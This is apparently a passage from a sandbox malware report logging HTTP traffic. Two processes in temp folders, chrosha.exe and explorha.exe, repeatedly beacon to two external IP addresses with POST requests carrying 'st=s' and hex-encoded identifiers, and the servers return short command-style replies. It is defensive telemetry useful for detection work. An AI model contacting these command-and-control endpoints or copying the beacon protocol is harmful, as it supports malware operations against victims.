1094	192.168.2.5	50948	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:00.602394104 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:00.848083019 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1095	192.168.2.5	50949	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:00.636420965 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:00.888441086 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1096	192.168.2.5	50950	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:01.016609907 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:01.268307924 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1097	192.168.2.5	50951	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:01.100188971 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:01.348388910 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1098	192.168.2.5	50952	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:01.518978119 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:01.770422935 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1099	192.168.2.5	50953	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:01.718998909 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:01.968749046 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1100	192.168.2.5	50954	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:02.130039930 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:02.373423100 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1101	192.168.2.5	50955	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:02.222477913 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:02.477087975 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1102	192.168.2.5	50956	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:02.624942064 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:02.874572992 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1103	192.168.2.5	50957	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:02.839169979 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:03.088778019 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1104	192.168.2.5	50958	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:03.231445074 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:03.479222059 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1105	192.168.2.5	50959	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:03.339375973 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:03.590373039 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1106	192.168.2.5	50960	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:03.725970984 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:03.969096899 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1107	192.168.2.5	50961	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:03.943883896 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:04.182239056 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1108	192.168.2.5	50962	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:04.320468903 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:04.567733049 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1109	192.168.2.5	50963	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:04.432075024 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:04.682537079 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1110	192.168.2.5	50964	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:04.820662975 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:05.073395014 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1111	192.168.2.5	50965	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:05.039714098 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:05.282474995 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1112	192.168.2.5	50966	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:05.430577993 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:05.678369999 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1113	192.168.2.5	50967	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:05.541215897 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:05.794059992 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1114	192.168.2.5	50968	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:05.928894043 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:06.177108049 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1115	192.168.2.5	50969	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:06.154244900 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:06.405172110 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1116	192.168.2.5	50970	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:06.408929110 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
